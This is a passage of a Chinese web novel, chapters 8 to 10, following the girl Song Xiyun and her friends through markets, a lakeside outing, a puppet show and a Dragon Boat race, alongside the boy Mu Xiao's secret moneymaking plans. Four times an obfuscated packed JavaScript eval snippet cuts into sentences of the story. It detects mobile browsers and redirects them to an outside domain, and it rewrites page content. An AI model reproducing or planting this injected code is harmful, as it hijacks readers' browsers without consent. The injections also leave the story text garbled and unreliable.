“真好吃,小云,下次我们还来这。”楚荣小声和宋溪云说道。 她点点头,觉得这里确实是个不错的选择。 即便天空被厚厚的云层遮盖住,也还是难消夏日里特有的燥热。 几人暂时没了踢球的兴趣,吃完饭后便在各个地方的摊子上逛了起来。 由于是在城郊,商品的种类肯定不如城市街道上的多,但有周围村子里的手艺人来凑热闹,倒是让宋溪云淘到了一个精致的木雕仙宫。 不知不觉中就到了该回家的时辰,四人在约定好的地方坐上小钟的驴车,踏着隐隐传来的喝彩声归家。 …… 闵承望一回家就看到早已在厅堂等待的母亲,闵母迎上来问道:“承望,玩得怎么样?累不累?” 闵承望摇摇头。 闵母摸了摸他略显湿润的额发,心疼道:“快去屋里歇息歇息,娘让人备好了饭菜,待会儿多吃点。” “好。” 闵承望换下蹴鞠服,果然看到膝盖上缠着的纱布渗出了血,好在只是破皮,上完药多养几天便能好全。 老管家知道闵承望不喜旁人随意打扰,因此只敲门提醒他已经备好了沐浴的热水。 闵承望扬声应下,随后进入旁边的小屋清洗,并将染血的纱布藏好。 —— 浓云铅灰着,闲人屋中躲。 并非闲人的闵承望只好早起赶路去书院。 受伤的膝盖实在经不起长时间的跑动,他昨夜纠结半晌,最终还是选择雇车前去。 零用钱可以慢慢攒,但若是不把伤养好,下次就不能和小云他们一起好好玩了。 闵承望走到车坊门口,正好碰见小钟载满了客人要赶车离开。 昨天宋溪云他们在车上闲聊时小钟听了一耳朵,他连忙把人叫住:“闵小郎君,去书院是吧?快上来。” 闵承望没来得及细想,当即背着书箱朝小钟那边走。 车厢里男女各坐一排,并没有可以供闵承望坐下的位置,有位男子干脆起身往车板上一坐,说道:“小郎君来,坐这。” 自己是后来者,哪里有让前人让座的道理? 闵承望连连摆手道谢:“多谢多谢,我和小钟哥坐一处便好。” 小钟也赶忙说道:“哪能让郎君让座?我捎带闵家小弟一程,各位不要见怪才是。” “不妨事。”车厢里的坐客纷纷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16360691|183661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说道。 男子也不强求,起身又坐回了原来的位置。 闵承望怕耽搁他人,立马在小钟身旁坐好。 迎着清早特有的凉意,毛驴踢踏着跑起。 小钟朝闵承望解释道:“车坊里另一个伙计妻子要生了,只好让我多跑一趟,你若是来得晚,到时未必能赶上。” “多谢小钟哥。” “客气什么?顺路的事。” 闵承望看着街道两旁飞快后退的商铺,忍不住轻晃起悬在车辕外的双脚。 …… 瓦市是淮邗人闲暇时最爱去的玩乐场所,这里汇集了大街小巷常见或不常见的吃食和玩具,最令人流连忘返的是影戏、杂剧、傀儡戏、小曲等百戏的献艺。 各类桥段新奇有趣,可谓是取古人之精,延后人之长,细细品味后总留有一丝余韵。 对于常来的看客,瓦市里的任何一处变化都逃不过他们的双眼——比如西街拐角新摆的那处吃食摊子。 吃食摊子随处可见,并不稀奇,看样式也不过是细长的签子上串着肉片或蔬菜之类的寻常签菜,可散发出的香味却足够独特。 起初没人上前,直到一位老食客晃悠到摊子面前,问道:“小哥,你这可是签菜?” “是。”石松青一边熟练地串签菜,一边回答道。 “多少钱一串?我闻着这香味倒是霸道。” 石松青笑了笑,只答道:“素菜一文,肉菜两文,您尝尝?” 老食客在摊子上巡视一圈,挑了几串爱吃的菜。“先来这几样。” “好嘞。”石松青手掌悬在油面上试试火候,添了一根柴后将那几串签菜放入油锅中炸。 他估算着时辰把炸熟的签菜夹出,刷上特制的酱汁时隐隐有香味传出,热油激发了签菜和酱汁的结合,令老食客不由得咽了口津液。 签菜被油纸包着,石松青捏住下方的签棍递给老食客,说道:“一共十文钱,您吃好。” 老食客爽快付钱,却并未离开,而是在摊子旁边细细品尝。 其他观望的人没有等到老食客的评价,只见他又立在摊子前,开始尝试剩下的签菜。 既如此,吃食的好赖自不用多说,人们不再犹豫,纷纷前来寻鲜。 增多的食客没有打乱石松青的步调,他从容地炸菜刷酱,包油纸的活则让身边的小男孩来干。 小男孩按每个食客挑的菜准确装好,动作间快速却不慌乱,丝毫没有出错。 梳洗过的他轮廓更清晰,能认出来是当初帮陆宁照料过妹妹的那个人。 慕萧隐约记得他,似乎是跟在陆宁身边的哑巴少年。 他站在不远处的暗巷里观察着摊子的情况,朝身边的陆宁问道:“那小孩不会说话?” “对,”陆宁看着认真干活的小哑巴,轻声说道:“他出生时不会哭闹,被随意丢在一条无人的小巷子里,后来有个好心人把他送到了附近的福田院。不会说话的小孩被人欺负了都没人知道,大概是因为这个,他自己又跑回来了。” 而小哑巴像是在冥冥之中知晓自己的身世,五岁的小孩连养活自己都很艰难,他却一边给人帮忙以获取吃食,一边收养同样被抛弃的小娃娃。 现如今,小哑巴已经成为了五个小孩的哥哥。 他们没有家,只能借别人屋后的长檐遮风避雨,好在没病没灾,倒是都好好的活了下来。 8. 第8章 慕萧似乎只是随口一问,他转而谈起其他事,“你住的地方人多眼杂,仔细被有心人看到。” 赌坊进钱容易出钱难,小赢几局虽不算出挑,但也得防止某些人斤斤计较,还是小心为妙。 陆宁显然也清楚,他点头道:“等再存点银钱,我就带安安搬住处。” 他和慕萧一起挣的钱多数拿去给妹妹看病了,剩下的勉强够兄妹俩吃喝。 有了汤药救治,陆安安的症状显然有所减轻,大夫说若是想完全康复,还得需静养。 提到合适的住处,慕萧不由得想起自己前世买下的那座宅子。 二进的小院并不气派,但位置偏僻,胜在清静,也不知如今是什么模样。 他开口道:“待会随我去个地方。” 既然占了先机,那就干脆占到底。早安置完落脚地,省点银钱也好。 …… 宋家所在的平仲巷往西边走,多数是像闵家那样的大院,等走到尾才能看到部分略显破败的小院。 那宅子静立在慕萧眼前,好似记忆里未着丹青的墨画。 门上挂了把陈旧的锁,还张贴着附近牙行的文书。 这样的院子不止一处,两人又走访了几家,最后由陆宁去牙行询问情况并进院子查看。 “你最先看的那座院子租金一个月五两,若是买下,牙行那边最低出价六百两。”其他院子的价格都差不多,陆宁没有再另外细说。 六百两,倒是比自己当初花的一千七百两便宜不少。 “去交两间院子半年的租金,暂时把你妹妹安顿好。”慕萧停顿了一会,又道:“再问问石松青愿不愿意过来。” 淮邗人缺不了吃食,有石松青在,也算是多一条获利的路子。 “好。”陆宁确实看好了另一座院子,就在慕萧那座旁边,一个月租金四两,地界虽然小些,但他们兄妹俩住着正合适。 同样是二进的小院,松青要是想来也能住得开。 等契书签订完,牙行便雇杂匠上门修缮房屋并清扫干净,正式入住大概在三五日之后。 石松青决定和陆家兄妹同住,租金两人分摊。 毕竟以他目前挣到的铜板来看,一个月二两银子的花销还是能负担得起。 …… 陆宁喊来小哑巴,小声和他说自己要离开的事。 这边房屋简陋,多是随意建的草屋之类。陆宁兄妹住的地方同样如此,但好歹能避避风雨,至少比小哑巴他们待的屋檐下要好上许多。 除了妹妹的木雕和泥人这些玩具,其他东西并不值得收拾,陆宁环顾着自己从小住到大的“家”,撇下最后一点留恋。他背起妹妹,在月色里坐上巷口的驴车。 石松青见两人坐好,随即赶车朝小院而去。 一旁的小哑巴目送兄妹俩离去,然后带着弟弟妹妹走进小屋。 在“穷人坊”,一个馒头、一个玩具或是一件衣裳,都会成为他们这种小孩争夺的东西,更何况是一间小屋。 小孩们显然也知晓屋子的珍贵,没有随意走动,而是围在哥哥身边小心翼翼地观察着。 直到小哑巴推了推他们的肩膀,大家才四散开来,爱惜地摸着屋子里留下的物件。 “哥哥,以后我们就住在这里了吗?”一个五岁的小丫头问道。 小哑巴点点头。 七岁的老二仰头道:“大哥放心,我一定会守好这里的!” “我也会!” “我也会!” 几个人在小哑巴身边以表自己的“担当”,只有最小的三岁女娃娃一脸茫然地牵着哥哥。 小哑巴食指竖在嘴边,原本吵闹的小孩立马安静下来。 陆宁哥既然选择晚上搬家,肯定是为了不把动静闹大,可别因为他们坏了事。 大家乖乖整理好东西,挨在一起度过搬进“新家”的第一个夜晚。 —— 连日的暑气被连绵夏雨洗去,榆柳抖落圆润的雨滴,只见叶片愈发苍翠。 怕半路遇上突来的大雨,宋溪云几个人干脆各自背了一把油纸伞出门。 赵乾今日难得没有在柜台对账,而是泡了杯茶在窗前赏景。 “赵叔,小钟哥呢?” “在后院。”赵乾端起茶盏轻呷一口,说道:“也就他乐意带你们到处跑,上次去东郊,这次又去凝仙池,下回准备去哪?” “下回的事下回再说呗。”楚蓉凑过去想揭桌上的茶壶,被赵乾一把拦住,“做甚做甚?快去玩,别祸害我的茶。” 宋溪云也在后院门口喊她:“蓉蓉,走了。” “好!”楚蓉一脸遗憾,背着手溜达出去了。 后脚进来的慕萧好似听到了一道不算陌生的声音,可双眼一扫却并未发现想象中的人。 他敛下思绪,朝赵乾问道:“叔,去玄武街的车有吗?” “有啊,这会在街口拉人呢,你正好能赶上趟。” “多谢叔。” 赵乾手一摆,“客气。” 慕萧转身带陆宁朝街口走去,半路又回头看了一眼,依旧没有找到隔壁那个小丫头的身影。 宋溪云她们这次要去的凝仙池在城南那块,从后门出去更近些,因此没有再绕到车行门口。 雨后的城市似乎换了副模样,绿瓦新装,石桥换裳,一树一花都带着烟雨下独有的韵味。 地面湿滑,小钟赶车时不似往常那般豪放,每遇到交汇的街口便会放慢速度。 宋溪云看了一路,发现地面上很少有积水,几条河道的水位线也没有明显的上涨,由此可见这座城市的排水系统应该做得还不错。 行程约莫过半,隐约能在二三层的木楼背后看到形似高塔的尖顶。 这么高的塔,不是观星、赏景,就是祭祀之类,宋溪云忍不住好奇——能被称为“凝仙”的池子会有什么稀奇的地方。 凝仙池附近禁车马,小钟只能把三个人放在不远处的大街上,自己再边拉客边往回走。 街边商铺林立,多是书肆、画铺、棋楼等建筑,少见寻常巷道里的商贩之类。 沿河而下,入目的皆是垂堤绿柳和缀花豆槐。 楚蓉跑到旁边,从低矮的枝条上折了两串槐花,宋溪云阻止的话还没来得及说出口,就见她将花别在了脑袋上,顺便也给自己“打扮”了一下。 破坏绿化要不要紧啊?这些树应该是公家的吧?可是好像没有人看管啊…… 就在宋溪云胡思乱想的时候,前面几个衣着普通的少女同样折了花和一小段枝条。这样看来,折花应该是正常的一个行为,而不会被人追究责任。 “听说这边有人把槐花做成吃食呢,不过凝仙池的槐花是要留着看的,只能路过摘一两串,摘多了会被巡卫罚银子。”楚蓉晃了晃头上的花,朝两人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16360692|183661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 解释道。 田佑原本对飘着香味的花不感兴趣,闻言立马朝树上的那些花看过去。“好吃吗?” “不知道,待会咱们去试试?” 说话间,绿色屏风遮挡住的凝仙池渐渐露出了面容。 只见平静的湖面上氤氲着水汽,好似静卧的美人披上一层薄纱。风动间,“仙雾”同垂柳共舞,引得行人纷纷驻足。 从衣着和打扮上来看,湖边的众人有贫有富,两相碰上却不会有一方趾高气昂,另一方卑躬屈膝的情况。 大家保持着距离,在自成的方寸间悠然自得。 湖面渐渐泛起涟漪,只见对面划出几条画舫,丝竹声也随之飘荡开来。 身姿纤细婀娜的舞伎和着乐曲动作,衣裙翻飞间脚步轻挪,时若含荷时若散莲。 每条画舫上的舞伎妆容各异,细看起来又能发现一丝关联。 等离得近了,还可以瞧出相邻画舫舞姿的连贯性,仿佛她们并不是在五条分离的画舫,而是在一处平整的高台。 “好好看啊,不愧是教坊司的舞伎!”楚蓉感叹道。 宋溪云对这个朝代的各个机构还不熟悉,她疑惑道:“教坊司?” “对啊,今天的游湖是教坊司特地安排的,知府和其他官人也来了呢,就在九皋楼。”楚蓉转身向后一转,指着那栋高楼道。 “九皋楼”总共有九层,约莫在第五层的位置能看到一群穿着官服的人,由于视野拔高,底下的景色一览无余。 不过上面的景色再怎么样也跟宋溪云她们没关系,湖边的风光同样不错。 绕湖一周的表演结束后,宋溪云她们顺着湖边的小道慢慢走了一圈。 路另一边的“绿化带”算得上是一座花园,大片大片的牡丹和芍药簇拥着开放,形成一条“花河”,但不知道是不是地域原因,长得没有她以前在洛阳看到的好看。 远处的亭子被绣球花簇拥着,一些暂时歇脚的行人都忍不住久坐了一会。 特别是从湖边到九皋楼的那条长廊,紫藤萝从头爬到尾,垂下的淡紫色花苞像一层帘子,散发着香味的同时还遮住了一部分视线。 在相信有神灵的古代,设计得这样精妙的花园确实配得上景色奇特的“凝仙湖”。 等离开凝仙湖的范围,再走一段路才能听到属于市井的热闹。 半路上闲聊的时候,楚蓉已经把下一次的行程确定好了。 “再过不久就是端午,我刚刚听人说,到时会在沧河举办龙舟竞渡,肯定很热闹!” 宋溪云一时怀疑自己和她走的是不是同一段路,她怎么没听到? 田佑小声泼她冷水,说道:“可是我们都挤不进去。” 沧河是淮邗府城最大的河流,水系遍布整个城南地区,每过三年便会在端午时举行盛大的龙舟竞渡。 而各个小河段也同样会组织,以供老百姓一起欢度佳节。 去年楚蓉邀着小伙伴去附近的饶河,等龙舟竞渡举办完都没见着龙舟的影子,只能听见前头的人大喊大叫,状若疯癫。 “今年是大节,我爹我娘肯定会过来的,咱们早一点就好了。” 田佑不忍再打击她,敷衍着点点头。 宋溪云看田佑的表情就猜到楚蓉的想法大概会落空,她笑了笑,没提醒对方。 拐过两条街道,一段极具穿透力的唱词传来,好似要冲破云霄—— 9. 第9章 玄武街临近府衙,除了更加严密的巡卫,街道两旁的木楼也略显风雅。 慕萧和陆宁找到一处隐蔽的暗巷,只见慕萧取下身后背着的包袱,开始乔装打扮。 陆宁在一旁看着,并未表示惊讶。 搬家后的第一天,眼前这个十岁的少年便问自己敢不敢做一笔更大的买卖。 当初的少年也是用这般随意的语气,保证会让他赚到足够给妹妹治病的银子,如今妹妹的病确实在好转,兄妹两甚至搬出了“穷人坊”,住进以往想象不到的小院。 陆宁思索片刻后果断答应。 像他们混迹在穷人坊的人,除了被贵人看上没别的出路。 几年前,邻居家的阿姐因颜色好,嫁给了富商做小妾,连带着一家人都离开了穷人坊的泥沼。 可陆宁却并不觉得好,而对于现在的他来说,慕萧才是真正的贵人。 既如此,为了日后过上更好的生活,也没什么敢不敢的。 慕萧早已猜到了陆宁的回答,随后带他前往一家铺子。 铺子开在坊间隐蔽的小巷里,门板只开两三扇,昏暗的光线让人瞧不清摆放的货物。 柜台处的老板在随手雕刻着什么,约莫半百的老头掀起眼帘看了两人一眼,起身取出一个木盒。“东西在这,瞧瞧?” 慕萧打开扫了一眼,笑道:“还是您手艺好。” “你小子眼光也不错。”老头接过他递来的银子,说道。 陆宁听不懂两个人在打什么哑谜,只好将视线放到铺子里的物件上。 玉佩、发簪、镯子……这些看似珍贵的配饰随意摆放着,令人不禁怀疑其价格。 “走了。”慕萧提醒道。 两人又转道去取其他东西,慕萧向陆宁解释道:“有些急需银两的公子千金会将寻常物件拿出来变卖,而像方老这样的手艺人则会借此做出仿品,再卖给某些人去糊弄外行。” “底层赌坊鱼龙混杂,越普通越不起眼,而上等赌坊讲究雅致,行头金贵才不引人注目。以方老的手艺,足以糊弄那些不学无术的公子哥和自以为眼光毒辣的赌坊掌事。” …… 长靴增添了几分身量,此时的慕萧头戴玉冠,身穿一袭银朱交领长袍,腰间挂着枚双鹤羊脂白玉,温润的玉竹折扇一展,便成了一位肆意张扬的少年公子哥。 陆宁看他一派浑然天成的气度,对慕萧身份的猜测隐约得到了证实。 “知道随从该做什么吗?”慕萧问道。 陆宁迟疑着点点头。他在街上偶尔会看到那些跟在富家子弟身后的仆人,大约是那副模样。 对于陆宁的品性和能力,慕萧不说九分,至少有七八分的了解,即便是十六岁的陆宁,也不会有太大的差别。 他合起扇子在对方肩膀处轻点两下,说道:“护主。下人对主子,只需记住护主两个字。” 但前世的陆宁多次和自己出生入死,两人之间早已不是他所认为的主从关系。 “走吧。” —— 如果说大街上往来的人群让宋溪云看到了古代的繁华,那眼前的瓦市可能刷新了她对于热闹的认知。 各种各样的铺子开在道路两旁,时不时传来伙计的吆喝声,吸引着部分人去看。 而跨过挂着“瓦市”的牌坊,街道上能看到的人数堪比军训解散后的食堂现场。 田佑闻着香味朝吃食摊子那边探,宋溪云也不由得仔细观察这个热闹的地方。 而楚蓉则奋力拉住两位小伙伴,免得被人群挤开。 宋溪云观察到,有些人看似随意漫步,却会在闲逛的时候频繁地往一个方向看去,等到了某个时间,他们就会加快脚步朝那边走。 田佑发现人太多,自己就算买到了吃食也不能好好坐下来吃,他问道:“蓉蓉,我们来这里做什么?” “不做什么啊,都过来凝仙池了,好歹看看最大的瓦市长什么样子吧?” 平仲巷附近的瓦市不多,只东榆河对面有一座。但那边太乱,家里的大人向来不准小孩过去。 “可是我看着没什么不一样啊,就是人和铺子多很多。”田佑疑惑道。 “诶呀,这你就不知道了吧?”楚蓉左手背在身后,右手假装捋捋胡须,和不远处算卦的道长倒是有几分相像。“其他瓦市的傀儡戏和影子戏都是从这里学的,只要守着开场的时辰,就能最早知道后面的情节。” “而且,听说这里最大的勾栏可以让上千个人一起看呢!” “哇!”小胖子睁大了眼睛,显然是第一次听说。 宋溪云顺势问道:“那个勾栏在哪?我们可以去看吗?” 面对惊讶好奇的小伙伴,楚蓉挠挠脑袋说道:“我也不清楚,待会找人问问?” 三个人慢慢往里挪,途中路过一个名叫“笔墨棚”的勾栏,正好是宋溪云刚才看到一些人进去的地方。 勾栏门口的墙上贴着告示,写明了当天和后面三天将会表演的内容。 楚蓉顺着她的视线望去,说道:“是讲史书的地方,原来也这么多人吗?” 通过打开的半扇门,能看到里面坐着的人不少,大概是还在准备,没看到中间高台上的说书先生。 田佑回她:“蓉蓉,你自己都说是淮邗最大的瓦市了。” 未尽之语自然不用明说,楚蓉瞪他一眼,拉着宋溪云往前面走。 小胖子摇摇头叹了口气,默默跟在两人身后。 瓦市里面的勾栏一个接一个,这边唱戏那边舞曲,双方却互不干扰。 而商贩们依托勾栏带来的看客,在周围聚成了一条条街,最后形成了如今的规模。 宋溪云也渐渐被这样新奇的地方勾起了兴趣,跟着楚蓉到处乱跑,等反应过来肚子饿的时候早就过了吃饭的点。 好在瓦市里的各种店铺从早开到晚,不用担心没地方吃饭。 三个人随意找了家生意不错的饭馆,问好价格后点了荤素各两道菜。 隔壁桌是几位道士,为首的道长偏头看了宋溪云一眼,细微的动作没有引起旁人注意,宋溪云自己也毫无察觉。 “刚刚那个杂手伎好厉害!居然真的把刀吞进去了!不会受伤吗?”楚蓉还在兴奋地谈论着刚才的“幻术”,连上菜之后都忘了动筷。 宋溪云有点纠结要不要告诉小孩所谓“幻术”的真相。 “他们肯定在台下练了很久,不会受伤的。”田佑信誓旦旦道,仿佛自己亲眼见过。 算了,宋溪云暗自叹气,决定还是不说。小孩嘛,留点童真比较好。 …… 齐少轩转身在街上找了半晌,并未发现当初在鞠城碰到的那位小姑娘,约莫是相似的声音罢了,他想。 “少轩,怎么了?”同伴问道。 他摇摇头,跟着同伴一起走进踢弄的勾栏观看。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16360693|183661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > …… 吃过饭后,宋溪云她们就近去往表演傀儡戏的勾栏。 有名的傀儡勾栏在“巧手棚”,进门后能看到用石头砌起的一阶阶看台,近似圆形的看台围着戏台,竟然和现代的体育馆特别相像。 人形傀儡面部画着精致的妆容,发髻和衣着都有讲究,动作间如行云流水,要是忽略那几根绑着的提线,和真人几乎没什么区别。 像这样的木偶戏在当下应该很受欢迎,五层的石阶看台坐满了人,除开普通百姓和富贵人家,还有僧人、道士和其他服饰特殊的人。 可惜宋溪云对戏曲之类的没有研究,也不太感兴趣,半天都听不懂在讲什么,只能从木偶的动作里连猜带蒙。 而身旁的两个小孩看得目不转睛,显然很喜欢。 她只好继续把目光放在戏台上,然后神游。 差不多半人高的木偶应该有点份量,也不知道提线的傀儡师手累不累…… 等一场戏演完,宋溪云已经把她从上一世到现在的事都回想了一遍。 “那个许三娘也太坏了!”楚蓉气愤道。 田佑也在一旁气鼓鼓地说道:“就是!希望张巧巧以后能过上好日子!” 宋溪云胡乱点头,糊弄道:“对!” 身旁的建筑挡下阳光,落了一片阴影,她试着观察太阳的位置来估计时间,问道:“现在什么时辰了?” 楚蓉抬头一看,说道:“快申时了,再玩会就该回去了。” 申时,好像是三点到五点,那和她估的时间差不多。 三个人在瓦市里又逛了一会,等小钟到时辰接他们回去。 楚蓉吃着一条烤鸡腿,突然说道:“往东街走是不是能去府学啊?闵承望好像在那附近。” “去找他玩吗?” “玩什么?他在书院里,我们又进不去。”楚蓉眼珠子一转,兴奋道:“书院申时末下学,我们可以去接他!” 她启蒙时就是爹娘来接的,这次终于能当一回“大人”了! …… “小钟哥,你知道闵承望在哪家书院念书吗?” 小钟上次顺路送过他,自然知晓。“知道,怎么了?” “走走走,咱们去接闵承望下学!” 瞧着楚蓉这般兴奋的模样,小钟有些疑惑,但宋溪云和田佑都没有出声反对,他只好把人带到那边。 闵承望的伤已经好全,就在他犹豫该为了省钱跑回家还是租车时,旁边传来一声呼喊。 “闵承望!这边!” 他转头看去,惊喜地发现是宋溪云三人。 “你们怎么来了?” “我们去凝仙池和瓦市玩,回来时正好快到你下学的时辰,就过来接你啦。”闵承望的神情让楚蓉很有成就感,她得意地说完,示意闵承望上车。 田佑把手里拿着的油纸包递给他,“这是烤鸡腿,味道很好,你尝尝。” 闵承望愣住,一时不知是否该接受这份好意,他下意识朝宋溪云看去,只见她微微点头。 “多,多谢。” “不用谢,你念书一定很累,要多吃点。” 楚蓉在一旁笑,说道:“冬瓜干什么都说要多吃点。” 宋溪云也想到了这段时间被田佑投喂的各种零食,格外赞同的点点头。 驴车朝家的方向跑去,在玩伴的笑闹声里,闵承望渐渐放松了一直绷直的脊背。 10. 第10章 残阳惹云霞,焰燃半边天。 除了脚店、茶馆和零星的几家吃食铺子,平仲巷周围的店铺陆续合上门板。 顺路的掌柜们相约着一道走,途径宋家时,其中一人喊道:“老宋!给我留半斤酒!” 院子里的宋兴安应声道:“好嘞!” “诶哟!明日五月初五,差点给忙忘了。老宋!我也来半斤!” 其他人反应过来,纷纷在巷子里约酒。 宋兴安把院门一开,一齐回复道:“都留着呢,上门来取就是。” “还是老宋牢靠,我换身衣裳便来。” 换衣裳只是体面话,实则是沐浴清洗。店铺里忙活的人大多在这个时辰闭店归家,进屋后洗漱一番,便正好可以歇息。 若要外出,一身清爽的上门客也不会显得失礼。 虽说没有了宵禁的限制,但热闹的多数是正街或各处瓦市青楼,平仲巷的百姓则依旧习惯日落后歇息,倘若有要事,点上蜡烛再晚半个时辰也无妨。 宋溪云不用管家里的其他事,洗漱完直接进屋躺下。 进入五月后天气更热了,但好在还能忍受,被竹帘遮住的窗外时不时有夜风吹过来,倒也算凉快。 为了避免出太多汗,宋溪云这段时间只能选择稍微轻松一点的运动进行锻炼。 九岁的小身板力量不太够,不过一拳一个小朋友应该没有问题。 宋溪云躺在小竹床上,盖着一床薄被渐渐入睡。 驱蚊的香囊散发着气味,护住了床帐中小孩的清梦。 …… 清早的菖蒲和艾草还带着露水,城郊的农户手脚麻利地割下,一筐筐往驴车上搬。 趁着赶路的空档,妇人和小娘子们将两样东西捆扎好,以五文钱一把的价格卖给城里的百姓。 未到农忙时,府城周边的农户们都会靠着贩卖春花或时令草木挣点银钱,总归是不赔本的买卖,多费些时辰和力气也无妨。 宋兴安在门口挂好虎头白泽午时符和艾草菖蒲草把,被杜春兰催着赶紧喝粥出门。 “跟蓉蓉娘说好了早些时辰过去,你可别拖沓。” “马上马上。”宋兴安拿起调羹搅了两下,稍微吹凉后一勺接一勺往嘴里送。 宋溪云刚好吃完属于自己的鸡蛋和绿豆粥,正坐在杜春兰前面由她摆弄。 这边的小孩过端午得系五线绳、挂“五福袋”,而眼下,就是在进行用雄黄酒往额头上画“王”字的步骤。 杜春兰落下最后一笔,满意道:“好了!走,出门!” “欸,欸!春兰!”宋兴安匆匆洗完碗,跑出门准备去追她们母女俩,却发现两人还在门口等着。 杜春兰见宋兴安着急得出了细汗,一边拿手帕给他擦汗一边笑道:“让你慢吞吞的,下次可不会等你了。” 宋兴安只是笑。 宋溪云看天看地,对于夫妻俩的狗粮早就已经习惯了。 三家人坐车前往沧河,两个小丫头挤在角落里,你瞧着我,我瞧着你,然后一同笑出声。 倒不是说两位娘亲写的字难看,而是两张白净的小脸蛋上添了几笔后总觉得有些奇怪。 有大人在的时候难免会感到拘束,因此三个小孩只好凑在一起讲悄悄话。 两方各有各的话题,倒也互不干扰。 快到沧河时驴车便慢了下来,车夫控制着速度,以防和周围的车马相撞。 宋溪云转头往窗外一瞟,正好看到了古代难得的大型堵车现场。 各路车马把街道堵得水泄不通,而行人灵活地从缝隙间穿过,倒是半点不受影响。 没过一会儿,一队巡卫前来疏通,大街上很快就恢复了通行。 大人们对这种情况早已见怪不怪,只有三个没见过世面的小孩趴在车窗前看得津津有味。 沧河两岸每隔一段距离就建有一座用来观赏的阁楼,周围的巡卫维持着秩序,防止意外事故发生。 最佳观赏龙舟赛事的阁楼高达四层,显然是某些达官显贵的专属位置。 杜春兰等人找到一座阁楼后直接踩着楼梯上去,看起来熟门熟路。 等到了上面一看,果然没有什么人。 杜春兰开口道:“这个时辰还能占到阁楼的位置,再晚一些可就说不定了。” “早些年人尚且不多,哪像现在这般?”柳芙朝远处望去,不禁感叹道。 “是啊,现在大家日子好过了,也有闲时间出门看看。”方秋杏依旧笑得温和,闲谈的同时不忘关注旁边的三个小孩。 宋溪云趴在围栏上,直盯着赛龙舟的起点看。 参赛的龙舟昨晚就已经划过来了,此时十几二十条船静卧着,即便隔了这么远,也能感受到那股逼人的气势。 出发点两岸的阁楼上有人扬起和龙舟同色系的旗帜,应该是某个船队的“啦啦队”。 随着时间的推移,这样的啦啦队越来越多,汇聚起来的喝彩声能从对岸传到这边。 原来古代也有狂热的“粉丝”,宋溪云心想。 虹桥上没了商贩,只有列队整齐的官兵和巡卫,管事官员统筹好各个环节,确认无误后派人传信给上级。 待时辰一到,起点处响起低沉的号角声。 宋溪云心头一震,情绪不由得被带起。 虹桥正中的旗手挥舞着号令的旗帜,旗语向前传递到终点,提醒监察和录事官员做好准备。 令旗往下一压,各队船员立马划桨冲出。 铿锵有力的鼓声顺着一定的节奏响起,激发众人的斗志。 有一条龙舟一马当先,始终保持在第一的位置,它身后的几条龙舟奋力追赶,却只能和其他龙舟争得有来有往。 而第三梯队的龙舟也毫不气馁,沉下心来慢慢加速,竟也超过了前面两条。 河面上掠起数道浪花,每经过一段河岸都能听到鼓舞的浪潮。 人群随着龙舟一同前进,可惜阁楼位置固定,再怎么挪动也看不到终点的情况。 “今年的龙头估摸着又是平海军。” “是啊,听说造船厂也训了支船队,不过要想争过水师的船队还是难如登天。” “卫将军天天练兵,哪里是寻常人能比的?” 宋溪云听旁人在谈论“水师”“将军”这些字眼,于是悄悄竖起耳朵获取“情报”。 根据她从穿越到现在的观察来看,目前所处的朝代有点像唐朝和宋朝,甚至更偏宋。 但周围没人天天将年月日挂在嘴边,顶多碰到端午和其他特殊的日子时提一句。 可就算有人告诉宋溪云现在是几几年也没用啊,她又不会根据年号和当朝自己的历法去算是哪个朝代。 只能想办法去书店看史书,找找有没有对应的历史事件,当然,找不到最好,她宁愿换个时空。 单从普通百姓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16360694|183661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 交谈的内容来判断,这个“卫将军”应该还不错,练出来的兵估计也不差。 硬实力有所保障的话,其他方面就暂时可以不用担心了……吧? “哇!” 惊呼声打断了宋溪云的思绪,她回过神一看,原来是龙舟竞渡结束,河面上正在举行表演。 只见一艘艘小船组成一条龙的形状,划到中间的时候游龙散开,摆出“端午安康”的字样。 岸边的百姓中有人高呼:“端午安康!” 其他人纷纷响应,千万声“端午安康”好似一条盘龙,萦绕在沧河上空。 